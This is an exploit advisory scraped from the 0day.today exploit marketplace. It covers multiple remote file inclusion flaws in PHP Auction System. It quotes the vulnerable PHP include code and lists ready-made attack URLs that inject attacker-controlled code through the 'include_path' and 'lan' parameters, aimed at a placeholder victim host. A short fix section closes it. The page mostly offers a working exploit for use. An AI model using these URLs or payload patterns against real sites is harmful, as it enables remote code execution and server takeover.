0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
PHPAuctionSystem Multiple Remote File Inclusion Vulnerabilities
=============================================================== PHPAuctionSystem Multiple Remote File Inclusion Vulnerabilities =============================================================== [»]=======================================================================================================[_][-][X] [»] [»] [»] PHPAuctionSystem Multiple Remote File Inclusion Vulnerability [»] [»] [»] [»] ======= ------d-------m------ ==== ==== [»] [»] || = | |(o o)| | || || || [»] [»] || = ||(~)|| || || [»] [»] ======= /|\ || || [»] [»]=============================================================================================================[»] [»] Author : ~darkmasking~ [»] [»] Date : January, 6th 2009 [»] [»] Critical Level : Dangerous [»] [»]-------------------------------------------------------------------------------------------------------------[»] [»] Affected software description : [»] [»] Software : PHP Auction System [»] [»] Vendor : http://www.phpauctions.info/ [»] [»] Price : $59.99 [»] [»]=============================================================================================================[»] [»] [»] [»] [~] Vulnerable file [»] [»] [»] [»] [+] all file below is affected by "include_path" parameter [»] [»] [»] [»] ./includes/settings.inc.php [»] [»] $password_file = $include_path."passwd.inc.php"; [»] [»] include($password_file); [»] [»] include $include_path."fonts.inc.php"; [»] [»] include $include_path."fontsize.inc.php"; [»] [»] include($include_path."currency.inc.php"); [»] [»] include($include_path."errors.inc.php"); [»] [»] include($include_path."https.inc.php"); [»] [»] [»] [»] ./includes/auction_confirmation.inc.php [»] [»] require("./includes/messages.inc.php"); [»] [»] [»] [»] ./includes/converter.inc.php [»] [»] include($include_path."nusoap.php"); [»] [»] [»] [»] ./includes/messages.inc.php [»] [»] require($include_path.'messages.'.$language.'.inc.php'); [»] [»] [»] [»] ./includes/stats.inc.php [»] [»] include $prefix."includes/useragent.inc.php"; [»] [»] include $prefix."includes/domains.inc.php"; [»] [»] [»] [»] ./includes/useragent.inc.php [»] [»] include $prefix."includes/browsers.inc.php"; [»] [»] include $prefix."includes/platforms.inc.php"; [»] [»] [»] [»] ./includes/user_confirmation.inc.php [»] [»] require("./includes/messages.inc.php"); [»] [»] [»] [»] [»] [»] [+] All file below is affected by "lan" parameter [»] [»] [»] [»] ./browse.php [»] [»] ./search.php [»] [»] if(!empty($_GET['lan'])) { [»] [»] $language = $lan; [»] [»] $_SESSION['language'] = $language; [»] [»] [»] [»] #// Set language cookie [»] [»] setcookie("USERLANGUAGE",$lan,time()+31536000,"/"); [»] [»] } elseif(empty($_SESSION['language']) && !isset($_COOKIE['USERLANGUAGE'])) { [»] [»] $language = $SETTINGS['defaultlanguage']; [»] [»] $_SESSION['language'] = $language; [»] [»] [»] [»] #// Set language cookie [»] [»] setcookie("USERLANGUAGE",$language,time()+31536000); [»] [»] } elseif(isset($_COOKIE['USERLANGUAGE'])) { [»] [»] $language = $_COOKIE['USERLANGUAGE']; [»] [»] } [»] [»] [»] [»] require($include_path.'messages.'.$language.'.inc.php'); [»] [»] [»] [»]-------------------------------------------------------------------------------------------------------------[»] [»] [»] [»] [~] Exploit [»] [»] [»] [»] [+] "include_path" parameter [»] [»] [»] [»] http://www.darkvictims.com/[path]/includes/settings.inc.php?include_path=[darkcode] [»] [»] http://www.darkvictims.com/[path]/includes/auction_confirmation.inc.php?include_path=[darkcode] [»] [»] http://www.darkvictims.com/[path]/includes/converter.inc.php?include_path=[darkcode] [»] [»] http://www.darkvictims.com/[path]/includes/messages.inc.php?include_path=[darkcode] [»] [»] http://www.darkvictims.com/[path]/includes/stats.inc.php?include_path=[darkcode] [»] [»] http://www.darkvictims.com/[path]/includes/useragent.inc.php?include_path=[darkcode] [»] [»] http://www.darkvictims.com/[path]/includes/user_confirmation.inc.php?include_path=[darkcode] [»] [»] [»] [»] [»] [»] [+] "lan" parameter [»] [»] [»] [»] http://www.darkvictims.com/[path]/browse.php?lan=[darkcode] [»] [»] http://www.darkvictims.com/[path]/search.php?lan=[darkcode] [»] [»] [»] [»]-------------------------------------------------------------------------------------------------------------[»] [»] [»] [»] [~] How to fix this vulnerability [»] [»] [»] [»] Edit the source code to ensure that input is properly validated. Where is possible, [»] [»] it is recommended to make a list of accepted filenames and restrict the input to that list. [»] [»] [»] [»] For PHP, the option allow_url_fopen would normally allow a programmer to open, [»] [»] include or otherwise use a remote file using a URL rather than a local file path. [»] [»] It is recommended to disable this option from php.ini. [»] [»] [»] [»]=============================================================================================================[»] # 0day.today [2024-12-25] #